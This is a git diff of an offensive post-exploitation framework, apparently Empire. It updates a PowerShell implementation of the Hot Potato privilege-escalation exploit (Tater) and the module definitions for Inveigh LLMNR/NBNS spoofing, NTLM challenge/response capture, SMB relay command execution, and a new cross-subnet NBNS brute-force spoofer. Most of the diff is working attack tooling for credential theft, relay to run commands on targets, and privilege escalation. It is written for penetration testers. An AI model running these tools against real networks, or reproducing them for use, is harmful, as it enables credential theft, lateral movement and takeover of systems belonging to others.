!$tater.SMBRelay_success) { $timestamp_add = (Get-Date).AddMinutes(1) $timestamp_add_string = $timestamp_add.ToString("HH:mm") - $tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.taskname) - $process_scheduled_task = "/C schtasks.exe /Create /TN " + $tater.taskname + " /TR \\127.0.0.1@$HTTPPort\test /SC ONCE /ST $timestamp_add_string /F" + $tater.task = $tater.taskname + + if($tater.task_delete) + { + $tater.task += "_" + $tater.task += Get-Random + } + + $tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.task) + $process_scheduled_task = "/C schtasks.exe /Create /TN " + $tater.task + " /TR \\127.0.0.1@$HTTPPort\test /SC ONCE /ST $timestamp_add_string /F" Start-Process -FilePath "cmd.exe" -Argument $process_scheduled_task -WindowStyle Hidden -passthru -Wait $schedule_service = new-object -com("Schedule.Service") $schedule_service.connect() $scheduled_task_list = $schedule_service.getfolder("\").gettasks(1) - $scheduled_task_added = $false + $tater.task_added = $false - foreach($scheduled_task in $scheduled_task_list) + ForEach($scheduled_task in $scheduled_task_list) { - if($scheduled_task.name -eq $tater.taskname) + if($scheduled_task.name -eq $tater.task) { - $scheduled_task_added = $true + $tater.task_added = $true } } $schedule_service.Quit() - if(!$scheduled_task_added -and !$tater.SMBRelay_success) + if(!$tater.task_added -and !$tater.SMBRelay_success) { - $tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.taskname + " failed") - HTTPListenerStop + $tater.console_queue.add("$(Get-Date -format 's') - Adding scheduled task " + $tater.task + " failed") + StopTater } } - elseif($scheduled_task_added -and (Get-Date) -ge $timestamp_add.AddMinutes(2)) + elseif($tater.task_added -and (Get-Date) -ge $timestamp_add.AddMinutes(2)) { $tater.console_queue.add("$(Get-Date -format 's') - Something went wrong with the service") - HTTPListenerStop + StopTater } } @@ -1409,7 +1446,7 @@ $tater_scriptblock = { if($tater_stopwatch.elapsed -ge $tater_timeout) { - HTTPListenerStop + StopTater } } @@ -1417,7 +1454,7 @@ $tater_scriptblock = } } -# HTTP/HTTPS Listener Startup Function +# HTTP Listener Startup Function Function HTTPListener() { if($WPADPort -eq '80') @@ -1442,7 +1479,7 @@ Function HTTPListener() $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Command).AddArgument($HTTPPort).AddArgument($WPADDirectHosts).AddArgument($WPADPort) > $null - $HTTP_handle = $HTTP_powershell.BeginInvoke() + $HTTP_powershell.BeginInvoke() > $null } # Exhaust UDP Startup Function @@ -1455,7 +1492,7 @@ Function ExhaustUDP() $exhaust_UDP_powershell.Runspace = $exhaust_UDP_runspace $exhaust_UDP_powershell.AddScript($shared_basic_functions_scriptblock) > $null $exhaust_UDP_powershell.AddScript($exhaust_UDP_scriptblock) > $null - $exhaust_UDP_handle = $exhaust_UDP_powershell.BeginInvoke() + $exhaust_UDP_powershell.BeginInvoke() > $null } # Spoofer Startup Function @@ -1469,7 +1506,7 @@ Function Spoofer() $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($IP).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument($NBNSLimit) > $null - $spoofer_handle = $spoofer_powershell.BeginInvoke() + $spoofer_powershell.BeginInvoke() > $null } # Tater Loop Function @@ -1480,8 +1517,9 @@ Function TaterLoop() $tater_runspace.SessionStateProxy.SetVariable('tater',$tater) $tater_powershell = [powershell]::Create() $tater_powershell.Runspace = $tater_runspace + $tater_powershell.AddScript($shared_basic_functions_scriptblock) > $null $tater_powershell.AddScript($tater_scriptblock).AddArgument($NBNS).AddArgument($NBNSLimit).AddArgument($RunTime).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument($HTTPPort) > $null - $tater_handle = $tater_powershell.BeginInvoke() + $tater_powershell.BeginInvoke() > $null } # HTTP Server Start @@ -1504,12 +1542,11 @@ TaterLoop if($tater.console_output) { - :console_loop while($tater.running -and $tater.console_output) { while($tater.console_queue.Count -gt 0) { - write-output($tater.console_queue[0] + $tater.newline) + Write-Output($tater.console_queue[0] + $tater.newline) $tater.console_queue.RemoveRange(0,1) } @@ -1524,25 +1561,11 @@ if($tater.console_output) Start-Sleep -m 5 } -} -if(!$tater.running) -{ - if($tater.SMBRelay_success) - { - if($trigger -eq 2) - { - Write-Output "$(Get-Date -format 's') - Remove scheduled task $Taskname manually when finished" - } - - Write-Output "$(Get-Date -format 's') - Tater was successful and has exited" - } - else + if(!$tater.running) { - Write-Output "$(Get-Date -format 's') - Tater was not successful and has exited" + Remove-Variable tater -scope global } - - Remove-Variable tater -scope global } } diff --git a/lib/modules/collection/inveigh.py b/lib/modules/collection/inveigh.py index 6fcfa28..ce46ed2 100644 --- a/lib/modules/collection/inveigh.py +++ b/lib/modules/collection/inveigh.py @@ -9,9 +9,9 @@ class Module: 'Author': ['Kevin Robertson'], - 'Description': ('Inveigh is a Windows PowerShell LLMNR/NBNS spoofer designed to ' - 'assist penetration testers that find themselves limited to a ' - 'Windows system. '), + 'Description': ('Inveigh is a Windows PowerShell LLMNR/NBNS spoofer/man-in-the-middle ' + 'tool designed to assist penetration testers that find themselves ' + 'limited to a Windows system.'), 'Background' : True, @@ -38,12 +38,37 @@ class Module: 'Value' : '' }, 'IP' : { - 'Description' : 'Specific local IP address for listening.', + 'Description' : 'Specific local IP address for listening. This IP address will also be used for LLMNR/NBNS spoofing if the SpooferIP parameter is not set.', 'Required' : False, 'Value' : '' }, 'SpooferIP' : { - 'Description' : 'Specific IP address for LLMNR/NBNS spoofing.', + 'Description' : 'Specific IP address for LLMNR/NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferHostsReply' : { + 'Description' : 'Comma separated list of requested hostnames to respond to when spoofing with LLMNR and NBNS.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferHostsIgnore' : { + 'Description' : 'Comma separated list of requested hostnames to ignore when spoofing with LLMNR and NBNS.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferIPsReply' : { + 'Description' : 'Comma separated list of source IP addresses to respond to when spoofing with LLMNR and NBNS.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferIPsIgnore' : { + 'Description' : 'Comma separated list of source IP addresses to ignore when spoofing with LLMNR and NBNS.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferRepeat' : { + 'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).', 'Required' : False, 'Value' : '' }, @@ -51,31 +76,71 @@ class Module: 'Description' : 'Enable/Disable LLMNR spoofing (Y/N).', 'Required' : False, 'Value' : 'Y' + }, + 'LLMNRTTL' : { + 'Description' : 'Custom LLMNR TTL in seconds for the response packet.', + 'Required' : False, + 'Value' : '' }, 'NBNS' : { 'Description' : 'Enable/Disable NBNS spoofing (Y/N).', 'Required' : False, 'Value' : 'Y' + }, + 'NBNSTTL' : { + 'Description' : 'Custom NBNS TTL in seconds for the response packet.', + 'Required' : False, + 'Value' : '' }, 'NBNSTypes' : { 'Description' : 'Comma separated list of NBNS types to spoof.', 'Required' : False, 'Value' : '00,20' }, - 'Repeat' : { - 'Description' : 'Enable/Disable repeated LLMNR/NBNS spoofs to a victim system after one user challenge/response has been captured (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, - 'SpoofList' : { - 'Description' : 'Comma separated list of hostnames to spoof with LLMNR and NBNS.', - 'Required' : False, - 'Value' : '' - }, 'HTTP' : { 'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).', 'Required' : False, 'Value' : 'Y' + }, + 'HTTPAuth' : { + 'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).', + 'Required' : False, + 'Value' : 'NTLM' + }, + 'HTTPBasicRealm' : { + 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.', + 'Required' : False, + 'Value' : 'IIS' + }, + 'HTTPResponse' : { + 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests.', + 'Required' : False, + 'Value' : '' + }, + 'WPADAuth' : { + 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).', + 'Required' : False, + 'Value' : 'NTLM' + }, + 'WPADIP' : { + 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.', + 'Required' : False, + 'Value' : '' + }, + 'WPADPort' : { + 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.', + 'Required' : False, + 'Value' : '' + }, + 'WPADDirectHosts' : { + 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.', + 'Required' : False, + 'Value' : '' + }, + 'WPADResponse' : { + 'Description' : 'Wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set.', + 'Required' : False, + 'Value' : '' }, 'SMB' : { 'Description' : 'Enable/Disable SMB challenge/response capture (Y/N).', @@ -92,11 +157,6 @@ class Module: 'Required' : False, 'Value' : 'N' }, - 'ForceWPADAuth' : { - 'Description' : 'Enable/Disable LLMNR spoofing (Y/N).', - 'Required' : False, - 'Value' : 'Y' - }, 'RunTime' : { 'Description' : 'Run time duration in minutes.', 'Required' : False, diff --git a/lib/modules/collection/inveigh_bruteforce.py b/lib/modules/collection/inveigh_bruteforce.py new file mode 100644 index 0000000..f9c3f01 --- /dev/null +++ b/lib/modules/collection/inveigh_bruteforce.py @@ -0,0 +1,180 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Invoke-InveighBruteForce', + + 'Author': ['Kevin Robertson'], + + 'Description': ('Inveigh\'s remote (Hot Potato method)/unprivileged NBNS brute force spoofer function. ' + 'This function can be used to perform NBNS spoofing across subnets and/or perform NBNS ' + 'spoofing without an elevated administrator or SYSTEM shell.), + + 'Background' : True, + + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + + 'OpsecSafe' : True, + + 'MinPSVersion' : '2', + + 'Comments': [ + 'https://github.com/Kevin-Robertson/Inveigh' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'SpooferIP' : { + 'Description' : 'Specific IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system other than the Inveigh host.', + 'Required' : False, + 'Value' : '' + }, + 'SpooferTarget' : { + 'Description' : 'IP address to target for brute force NBNS spoofing.', + 'Required' : True, + 'Value' : '' + }, + 'Hostname' : { + 'Description' : 'Hostname to spoof with NBNS spoofing.', + 'Required' : False, + 'Value' : 'WPAD' + }, + 'NBNS' : { + 'Description' : 'Enable/Disable NBNS spoofing (Y/N).', + 'Required' : False, + 'Value' : 'Y' + }, + 'NBNSPause' : { + 'Description' : 'Number of seconds the NBNS brute force spoofer will stop spoofing after an incoming HTTP request is received.', + 'Required' : False, + 'Value' : '' + }, + 'NBNSTTL' : { + 'Description' : 'Custom NBNS TTL in seconds for the response packet.', + 'Required' : False, + 'Value' : '' + }, + 'HTTP' : { + 'Description' : 'Enable/Disable HTTP challenge/response capture (Y/N).', + 'Required' : False, + 'Value' : 'Y' + }, + 'HTTPAuth' : { + 'Description' : 'HTTP server authentication type. This setting does not apply to wpad.dat requests (Anonymous,Basic,NTLM).', + 'Required' : False, + 'Value' : 'NTLM' + }, + 'HTTPBasicRealm' : { + 'Description' : 'Realm name for Basic authentication. This parameter applies to both HTTPAuth and WPADAuth.', + 'Required' : False, + 'Value' : 'IIS' + }, + 'HTTPResponse' : { + 'Description' : 'String or HTML to serve as the default HTTP response. This response will not be used for wpad.dat requests.', + 'Required' : False, + 'Value' : '' + }, + 'WPADAuth' : { + 'Description' : 'HTTP server authentication type for wpad.dat requests. Setting to Anonymous can prevent browser login prompts (Anonymous,Basic,NTLM).', + 'Required' : False, + 'Value' : 'NTLM' + }, + 'WPADIP' : { + 'Description' : 'Proxy server IP to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADPort.', + 'Required' : False, + 'Value' : '' + }, + 'WPADPort' : { + 'Description' : 'Proxy server port to be included in a basic wpad.dat response for WPAD enabled browsers. This parameter must be used with WPADIP.', + 'Required' : False, + 'Value' : '' + }, + 'WPADDirectHosts' : { + 'Description' : 'Comma separated list of hosts to list as direct in the wpad.dat file. Listed hosts will not be routed through the defined proxy. Add the Empire host to avoid catching Empire HTTP traffic.', + 'Required' : False, + 'Value' : '' + }, + 'WPADResponse' : { + 'Description' : 'Wpad.dat file contents to serve as the wpad.dat response. This parameter will not be used if WPADIP and WPADPort are set.', + 'Required' : False, + 'Value' : '' + }, + 'Challenge' : { + 'Description' : 'Specific 16 character hex NTLM challenge for use with the HTTP listener. If left blank, a random challenge will be generated for each request.', + 'Required' : False, + 'Value' : '' + }, + 'MachineAccounts' : { + 'Description' : 'Enable/Disable showing NTLM challenge/response captures from machine accounts (Y/N).', + 'Required' : False, + 'Value' : 'N' + }, + 'RunCount' : { + 'Description' : 'Number of captures to perform before auto-exiting.', + 'Required' : False, + 'Value' : '' + }, + 'RunTime' : { + 'Description' : 'Run time duration in minutes.', + 'Required' : False, + 'Value' : '' + } + } + + # save off a copy of the mainMenu object to access external functionality + # like listeners/agent handlers/etc. + self.mainMenu = mainMenu + + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + + def generate(self): + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "/data/module_source/collection/Invoke-InveighBruteForce.ps1" + + try: + f = open(moduleSource, 'r') + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + moduleCode = f.read() + f.close() + + script = moduleCode + + # disable file output + script += "\n" + 'Invoke-InveighBruteForce -ConsoleOutput "Y" -Tool "2" ' + + for option,values in self.options.iteritems(): + if option.lower() != "agent": + if values['Value'] and values['Value'] != '': + if values['Value'].lower() == "true": + # if we're just adding a switch + script += " -" + str(option) + else: + if "," in str(values['Value']): + quoted = '"' + str(values['Value']).replace(',', '","') + '"' + script += " -" + str(option) + " " + quoted + else: + script += " -" + str(option) + " \"" + str(values['Value']) + "\"" + + return script diff --git a/lib/modules/lateral_movement/inveigh_relay.py b/lib/modules/lateral_movement/inveigh_relay.py index 28414c6..5055cd6 100644 --- a/lib/modules/lateral_movement/inveigh_relay.py +++ b/lib/modules/lateral_movement/inveigh_relay.py @@ -13,7 +13,7 @@ class Module: 'If the authentication is successfully relayed and the account is ' 'a local administrator, a specified command will be executed on the ' 'target PSExec style. This module works best while also running ' - 'collection/inveigh with HTTP disabled in collection/inveigh.'), + 'collection/inveigh with HTTP disabled.'), 'Background' : True, @@ -45,11 +45,11 @@ class Module: 'Value' : '' }, 'SMBRelayCommand' : { - 'Description' : 'Command to execute on SMB relay target.', + 'Description' : 'Command to execute on SMB relay target. Do not wrap command in quotes.', 'Required' : True, 'Value' : '' }, - 'SMBRelayUsernames' : { + 'SMBRelayUsernames' : { 'Description' : 'Comma separated list of usernames to use for relay attacks. Accepts both username and domain\username format.', 'Required' : False, 'Value' : '' @@ -58,6 +58,11 @@ class Module: 'Description' : 'Automaticaly disable SMB relay after a successful command execution on target (Y/N).', 'Required' : False, 'Value' : 'Y' + }, + 'RunTime' : { + 'Description' : 'Run time duration in minutes.', + 'Required' : False, + 'Value' : '' } } diff --git a/lib/modules/privesc/tater.py b/lib/modules/privesc/tater.py index a6ff740..0aa267b 100644 --- a/lib/modules/privesc/tater.py +++ b/lib/modules/privesc/tater.py @@ -10,8 +10,7 @@ class Module: 'Author': ['Kevin Robertson'], 'Description': ('Tater is a PowerShell implementation of the Hot Potato ' - 'Windows Privilege Escalation exploit from @breenmachine and @foxglovesec ' - '@foxglovesec.'), + 'Windows Privilege Escalation exploit from @breenmachine and @foxglovesec.'), 'Background' : True, @@ -42,62 +41,67 @@ class Module: 'Required' : False, 'Value' : '' }, - 'SpooferIP' : { + 'SpooferIP' : { 'Description' : 'IP address included in NBNS response.', 'Required' : False, 'Value' : '' }, - 'Command' : { + 'Command' : { 'Description' : 'Command to execute during privilege escalation. Do not wrap command in quotes.', 'Required' : True, 'Value' : '' }, - 'NBNS' : { + 'NBNS' : { 'Description' : 'Enable/Disable NBNS bruteforce spoofing (Y/N).', 'Required' : False, 'Value' : 'Y' }, - 'NBNSLimit' : { + 'NBNSLimit' : { 'Description' : 'Enable/Disable NBNS bruteforce spoofer limiting to stop NBNS spoofing while hostname is resolving correctly (Y/N).', 'Required' : False, 'Value' : 'Y' }, - 'Trigger' : { + 'Trigger' : { 'Description' : 'Trigger type to use in order to trigger HTTP to SMB relay. 0 = None, 1 = Windows Defender Signature Update, 2 = Windows 10 Webclient/Scheduled Task', 'Required' : False, 'Value' : '1' }, - 'ExhaustUDP' : { + 'ExhaustUDP' : { 'Description' : 'Enable/Disable UDP port exhaustion to force all DNS lookups to fail in order to fallback to NBNS resolution (Y/N).', 'Required' : False, 'Value' : 'N' }, - 'HTTPPort' : { + 'HTTPPort' : { 'Description' : 'TCP port for the HTTP listener.', 'Required' : False, 'Value' : '80' }, - 'Hostname' : { - 'Description' : 'Hostname to spoof. "WPAD.DOMAIN.TLD" is required by Windows Server 2008.', + 'Hostname' : { + 'Description' : 'Hostname to spoof. WPAD.DOMAIN.TLD may be required by Windows Server 2008.', 'Required' : False, 'Value' : 'WPAD' }, - 'WPADDirectHosts' : { - 'Description' : 'Comma separated list of hosts to include as direct in the wpad.dat file. Note that localhost is always listed as direct. Add the Empire host to avoid Tater catching Empire HTTP traffic.', + 'WPADDirectHosts' : { + 'Description' : 'Comma separated list of hosts to include as direct in the wpad.dat file. Note that localhost is always listed as direct. Add the Empire host to avoid catching Empire HTTP traffic.', 'Required' : False, 'Value' : '' }, - 'WPADPort' : { + 'WPADPort' : { 'Description' : 'Proxy server port to be included in the wpad.dat file.', 'Required' : False, 'Value' : '' }, - 'Taskname' : { - 'Description' : 'Scheduled task name to use with trigger 2', + 'TaskDelete' : { + 'Description' : 'Enable/Disable scheduled task deletion for trigger 2. If enabled, a random string will be added to the taskname to avoid failures after multiple trigger 2 runs.', + 'Required' : False, + 'Value' : 'Y' + }, + 'Taskname' : { + 'Description' : 'Scheduled task name to use with trigger 2. If you observe that Tater does not work after multiple trigger 2 runs, try changing the taskname.', 'Required' : False, 'Value' : 'Empire' }, - 'RunTime' : { + 'RunTime' : { 'Description' : 'Run time duration in minutes.', 'Required' : False, 'Value' : ''